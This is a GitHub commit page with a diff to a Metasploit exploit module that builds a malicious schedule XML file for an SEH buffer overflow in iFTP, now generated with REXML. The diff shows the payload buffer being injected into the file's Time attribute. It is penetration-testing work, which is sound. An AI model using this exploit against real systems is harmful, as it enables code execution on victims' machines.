Skip to content

Commit 0b85a81

Browse files
committed
Use REXML to generate exploit file
1 parent 9be95ea commit 0b85a81

File tree

1 file changed

+16
-4
lines changed

1 file changed

+16
-4
lines changed

modules/exploits/windows/fileformat/iftp_schedule_bof.rb

Lines changed: 16 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -4,12 +4,14 @@
44
##
55

66
require 'msf/core'
7+
require 'rexml/document'
78

89
class Metasploit3 < Msf::Exploit::Remote
910
Rank = NormalRanking
1011

1112
include Msf::Exploit::FILEFORMAT
1213
include Msf::Exploit::Remote::Seh
14+
include REXML
1315

1416
def initialize(info = {})
1517
super(update_info(info,
@@ -70,10 +72,20 @@ def exploit
7072
evil << generate_seh_payload(target.ret)
7173
evil << rand_text_alpha(20000)
7274

73-
sploit = %Q|<?xml version="1.0" encoding="UTF-8" ?>
74-
<Schedule>
75-
<Event Url="" Time="#{evil}" Folder="" />
76-
</Schedule>|
75+
xml = Document.new
76+
xml << XMLDecl.new('1.0', 'UTF-8')
77+
xml.add_element('Schedule', {})
78+
xml.elements[1].add_element(
79+
'Event',
80+
{
81+
'Url' => '',
82+
'Time' => 'EVIL',
83+
'Folder' => ''
84+
})
85+
86+
sploit = ''
87+
xml.write(sploit, 2)
88+
sploit = sploit.gsub(/EVIL/, evil)
7789

7890
# Create the file
7991
print_status("Creating '#{datastore['FILENAME']}' file ...")

0 commit comments

Comments
 (0)